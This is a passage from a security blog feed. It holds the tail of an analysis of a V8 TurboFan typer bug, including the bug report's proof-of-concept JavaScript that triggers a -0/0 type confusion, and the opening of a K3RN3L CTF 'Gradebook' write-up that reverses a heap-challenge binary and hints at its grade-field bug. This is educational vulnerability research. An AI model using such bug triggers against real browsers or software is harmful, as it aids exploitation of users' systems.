GetUpperBound(node-&gt;InputAt(1)); // [...] Type left_constraint_type = node-&gt;opcode() == IrOpcode::kSpeculativeSafeIntegerAdd ? Type::Signed32OrMinusZero() : Type::Signed32(); if (left_upper.Is(left_constraint_type) &amp;&amp; right_upper.Is(Type::Signed32OrMinusZero()) &amp;&amp; (left_upper.Is(Type::Signed32()) || right_upper.Is(Type::Signed32()))) { VisitBinop&lt;T&gt;(node, UseInfo::TruncatingWord32(), MachineRepresentation::kWord32, restriction); } else { // If the output's truncation is identify-zeros, we can pass it // along. Moreover, if the operation is addition and we know the // right-hand side is not minus zero, we do not have to distinguish // between 0 and -0. IdentifyZeros left_identify_zeros = truncation.identify_zeros(); if (node-&gt;opcode() == IrOpcode::kSpeculativeSafeIntegerAdd &amp;&amp; !right_feedback_type.Maybe(Type::MinusZero())) { left_identify_zeros = kIdentifyZeros; } UseInfo left_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), left_identify_zeros); // For CheckedInt32Add and CheckedInt32Sub, we don't need to do // a minus zero check for the right hand side, since we already // know that the left hand side is a proper Signed32 value, // potentially guarded by a check. UseInfo right_use = CheckedUseInfoAsWord32FromHint(hint, FeedbackSource(), kIdentifyZeros); VisitBinop&lt;T&gt;(node, left_use, right_use, MachineRepresentation::kWord32, restriction); } // [...] return; } We want to enter the else branch, because as you see it is here where the correct truncations/UseInfo’s are given out. The right_use is automatically given the kIdentifyZero property, thus if our multiply node is on the right hand side, we can trigger our type confusion. Putting the pieces together Here is the POC listed on the bug report: function foo(a) { var y = 1; var x = 0; var z = 0; if (a == NaN) z = NaN; if (a) { x = 0; y = -1; z = -0; } return Object.is(z + (x * y), -0); } console.log(foo(true)); %PrepareFunctionForOptimization(foo); foo(false); %OptimizeFunctionOnNextCall(foo); foo(false); console.log(foo(true)); Lets break it down piece by piece. First we have if (a == NaN) z = NaN;, this is so we can keep our SpeculativeSafeIntegerAdd node instead of just demoting to a regular NumberAdd node. If you scroll back up you can see this working in the ReduceSpeculativeNumberBinop function. This allows us to reach the correct code to pass on our truncation. Next we add a switch so we can change the values on the fly, after this we trigger the bug. The graph for the equation looks something like this: ┌────────────────┐ ┌────────────────┐ │Phi (-0 | 0) │ │SpecNumMul │ └───────────────┬┘ ┌┴────────────────┘ │ │ │ │ │ │ ┌▼──▼────────────┐ │SpecSafeIntAdd │ └────────────────┘ We can see our multiplication (x * y) on the right, if you remember from earlier this is the correct place for it to be to recieve the IdentifyZero truncation. On the other side is z which can be 0 OR -0. Taking another look at the representation output we can see: #58:SpeculativeSafeIntegerAdd[SignedSmall](#43:Phi, #57:SpeculativeNumberMultiply, #57:SpeculativeNumberMultiply, #38:Merge) [Static type: (MinusZero | Range(0, 0)), Feedback type: Range(0, 0)] visit #58: SpeculativeSafeIntegerAdd ==&gt; output kRepWord32 Because of the incorrect feedback type generated by the multiply node, the output of the add node has also been confused, as it believes that the multiply can only produce 0, and -0 + 0 or 0 + 0 will always be zero… BUT not -0 + -0. Exploitation I tried a couple things, but haven’t yet found a way to exploit this - if you do have a method for this please reach out. If i end up finding a way, I’ll update this section. There are a few ways you can differentiate between 0 and -0 which are relevant in a context like this, if you read the post linked at the beginning of the blog about Math.expm1 then you know they are: Object.is Math.atan2 Object.is being preferable, as the typing code for atan2 doesnt deal with -0. However I havent found a way to meaningfully use this assumption for anything. Maybe you can :). Closing thoughts It feels great to put something up which might help someone else in their pursuit of understanding, though im not gonna pretend if you did read and understand Faraz’ blog you wouldnt be able to do this all yourself. I learned alot from analyzing this bug, and I hope you did too. And damn, some typer bugs are ALOT harder to exploit that others. Happy hacking.]]></summary></entry><entry><title type="html">K3RN3L CTF 21 Gradebook writeup</title><link href="https://volticks.github.io/Gradebook-writeup/" rel="alternate" type="text/html" title="K3RN3L CTF 21 Gradebook writeup" /><published>2021-11-14T00:00:00+00:00</published><updated>2021-11-14T00:00:00+00:00</updated><id>https://volticks.github.io/Gradebook-writeup</id><content type="html" xml:base="https://volticks.github.io/Gradebook-writeup/"><![CDATA[<p>So for the past little while I didn’t really have anything to write about, i haven’t been  competing too much in CTF, but this weekend <a href="https://ctftime.org/event/1438">K3RN3L CTF</a> came around. There was quite alot of fun challenges, one of which was gradebook.</p>

<h1 id="intro">Intro</h1>

<h2 id="description">Description</h2>

<p><code class="language-plaintext highlighter-rouge">My teachers been using a commandline gradebook made by a first year student, must be vulnerable somehow.</code></p>

<p>Is that so? (you can find chall+exp files and libc+ld over <a href="https://github.com/volticks/CTF-Writeups">here</a>)
Were given a libc, so after we patch it in we can start:</p>

<p><code class="language-plaintext highlighter-rouge">patchelf ./gradebook --replace-needed libc.so.6 ./libc.so.6</code></p>

<h2 id="reversing">Reversing</h2>

<p>Its apparent from the outset that this challenge seems to follow a similar formula to a heap note challenge.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/Documents/k3rn3l21/gradebook❯❯❯ ./gradebook     
Student Gradebook
1. Add Student to Gradebook
2. List Students in Gradebook
3. Update Student grade
4. Update Student name
5. Clear Gradebook
6. Exit Gradebook
&gt; 
</code></pre></div></div>

<p>Lets take a look into <code class="language-plaintext highlighter-rouge">main</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="n">__noreturn</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">choice</span><span class="p">;</span> <span class="c1">// [rsp+4h] [rbp-Ch] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]</span>

  <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Student Gradebook"</span><span class="p">);</span>
  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"1. Add Student to Gradebook"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"2. List Students in Gradebook"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"3. Update Student grade"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"4. Update Student name"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"5. Clear Gradebook"</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"6. Exit Gradebook"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
    <span class="n">putchar</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
    <span class="k">switch</span> <span class="p">(</span> <span class="n">choice</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">if</span> <span class="p">(</span> <span class="n">total_students</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span>
          <span class="n">puts</span><span class="p">(</span><span class="s">"Class is full!"</span><span class="p">);</span>
        <span class="k">else</span>
          <span class="n">add_student</span><span class="p">();</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
        <span class="n">list_students</span><span class="p">();</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
        <span class="n">update_grade</span><span class="p">();</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
        <span class="n">update_name</span><span class="p">();</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
        <span class="n">close_gradebook</span><span class="p">();</span>
        <span class="n">total_students</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>
      <span class="nl">default:</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid Choice!"</span><span class="p">);</span>
        <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Seems pretty basic, looks as if we can only call <code class="language-plaintext highlighter-rouge">add_student</code> 10 times tho. Lets take a look at that function first.</p>

<h4 id="add_student">add_student</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">add_student</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">struct_s</span> <span class="o">*</span><span class="n">s</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-20h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-18h]</span>
  <span class="kt">char</span> <span class="n">src</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-10h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>

  <span class="n">v4</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">struct_s</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x18uLL</span><span class="p">);</span>
  <span class="n">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">struct_s</span><span class="p">));</span>               <span class="c1">// nulls out 24 bytes (aka, nobugs)</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student id: "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%8s"</span><span class="p">,</span> <span class="n">src</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">lookup</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>        <span class="c1">// try to find student ID in list of students</span>
  <span class="p">{</span>
    <span class="n">strncpy</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">ID</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">);</span>
    <span class="n">s</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>                              <span class="c1">// grade - to be entered</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student name length: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>               <span class="c1">// alloc from provided student name length</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">);</span>                       <span class="c1">// clear first 8 bytes to elimin8 leaks, what if there is another value?</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student name: "</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>
    <span class="n">s</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
    <span class="n">STUDENTS</span><span class="p">[</span><span class="n">total_students</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span>             <span class="c1">// new student</span>
    <span class="k">return</span> <span class="mi">1LL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Student ID already taken!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I defined a structure in the code to make it more readable; if you wanna do the same, simply go into IDA, right click and select <code class="language-plaintext highlighter-rouge">Create new struct type</code>, after that enter the following, or whatever structure you are defining:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">struct_s</span> <span class="p">{</span>
    <span class="kt">char</span> <span class="n">ID</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
    <span class="kt">int</span> <span class="n">grade</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">name_length</span><span class="p">;</span>
    <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then set the corresponding variable to this new type.</p>

<p>First we allocate space for our new structure then null the first 24 bytes:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">struct_s</span> <span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="mh">0x18uLL</span><span class="p">);</span>
  <span class="n">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">struct_s</span><span class="p">));</span>               <span class="c1">// nulls out 24 bytes (aka, nobugs)</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student id: "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%8s"</span><span class="p">,</span> <span class="n">src</span><span class="p">);</span>
</code></pre></div></div>

<p>After this, we enter an ID for a new student. Next we look to see if this ID already exists via the <code class="language-plaintext highlighter-rouge">lookup</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">lookup</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+1Ch] [rbp-4h]</span>

  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">total_students</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">ID</span><span class="p">,</span> <span class="n">a1</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">)</span> <span class="p">)</span>
      <span class="k">return</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">i</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Simple enough, iterate through <code class="language-plaintext highlighter-rouge">STUDENTS</code>, which is a list of students to see if any of the ID’s match, if they do then return the idx in students where the duplicate was found.</p>

<p>If we didnt find it, simply return <code class="language-plaintext highlighter-rouge">-1</code>. Coming back into <code class="language-plaintext highlighter-rouge">add_student</code>, we see that if no student with said ID was found, we create the student.</p>

<p>Not something too important, but notice that even if the student ID is in use, we allocate space for a new student before the check, seems a bit wasteful but this was allegedly programmed by “a first year student” so no surprises there (this also seems like a real mistake I would make lol).</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">lookup</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>        <span class="c1">// try to find student ID in list of students</span>
  <span class="p">{</span>
    <span class="n">strncpy</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">ID</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">);</span>
    <span class="n">s</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>                              <span class="c1">// grade - to be entered</span>
</code></pre></div></div>

<p>We copy the ID over into our newly allocated structure, also setting the grade for this student to <code class="language-plaintext highlighter-rouge">-1</code> which is a placeholder for when we insert the grade later.</p>

<p>After this its time to insert the name of the student:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student name length: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>
    <span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>               <span class="c1">// alloc from provided student name length</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">8uLL</span><span class="p">);</span>                       <span class="c1">// clear first 8 bytes to elimin8 leaks, what if there is another value?</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student name: "</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">s</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>
    <span class="n">s</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>
</code></pre></div></div>

<p>First we enter the length, then allocate a chunk of that size to hold the name. We then null the first 8 bytes of the chunk, to avoid leaks. Next we enter student name and write it into the struct.</p>

<p>Finally we finish and return, but not before writing our new student into the array and incrementing <code class="language-plaintext highlighter-rouge">total_students</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">STUDENTS</span><span class="p">[</span><span class="n">total_students</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span><span class="p">;</span>             <span class="c1">// new student</span>
    <span class="k">return</span> <span class="mi">1LL</span><span class="p">;</span>
  <span class="err">}</span>
</code></pre></div></div>

<h4 id="list_students">list_students</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">list_students</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// rax</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-4h]</span>

  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">total_students</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&gt;=</span> <span class="n">total_students</span> <span class="p">)</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"NAME: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"STUDENT ID: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">ID</span><span class="p">);</span><span class="c1">// hmmm</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"GRADE: Not Entered Yet"</span><span class="p">);</span>
    <span class="k">else</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"GRADE: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span><span class="p">);</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"____________________________"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This is pretty easy to understand, simply go through the list of students and print out details such as a student’s grades and name.</p>

<h4 id="update_grade">update_grade</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">update_grade</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-14h]</span>
  <span class="kt">char</span> <span class="n">v2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-10h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>

  <span class="n">v3</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student id: "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%8s"</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
  <span class="n">v1</span> <span class="o">=</span> <span class="n">lookup</span><span class="p">(</span><span class="n">v2</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Student not found!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Enter grade: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%ld"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span><span class="p">);</span><span class="c1">// you can still enter a huge grade, even if it tries to stop you afterwards.</span>
    <span class="k">if</span> <span class="p">(</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">&lt;=</span> <span class="mi">100</span> <span class="o">&amp;&amp;</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="p">)</span><span class="c1">// done well, even checks for negative</span>
    <span class="p">{</span>
      <span class="k">return</span> <span class="mi">1LL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span>
    <span class="p">{</span>
      <span class="n">puts</span><span class="p">(</span><span class="s">"Grade must be between 0 and 100"</span><span class="p">);</span>
      <span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">grade</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
      <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>This simply attemps to find a student based on the ID, if student is found use the returned idx to edit the students grades, provided they are not above a certain threshold. If the grade does happen to be higher than 100, or less than 0 then we replace the grade with the <code class="language-plaintext highlighter-rouge">-1</code> placeholder again.</p>

<p>Take note of the format string used to enter the grade, also note that grade variable is only 4 bytes wide. This will be relevant later ;).</p>

<h4 id="update_name">update_name</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">ssize_t</span> <span class="nf">update_name</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-14h]</span>
  <span class="kt">char</span> <span class="n">v2</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-10h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>

  <span class="n">v3</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student id: "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%8s"</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
  <span class="n">v1</span> <span class="o">=</span> <span class="n">lookup</span><span class="p">(</span><span class="n">v2</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v1</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Student not found!"</span><span class="p">);</span>
    <span class="k">return</span> <span class="mh">0xFFFFFFFFLL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Enter student name: "</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="n">STUDENTS</span><span class="p">[</span><span class="n">v1</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">name_length</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Again, similar principle to the latter; look for an ID in <code class="language-plaintext highlighter-rouge">STUDENTS</code>, if you find it, change the name with the length value found in the struct.</p>

<h4 id="close_gradebook">close_gradebook</h4>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">close_gradebook</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-4h]</span>

  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">total_students</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">free</span><span class="p">(</span><span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">);</span>                    <span class="c1">// correct order for frees aswell :/</span>
    <span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
    <span class="n">free</span><span class="p">(</span><span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
    <span class="n">STUDENTS</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">1LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
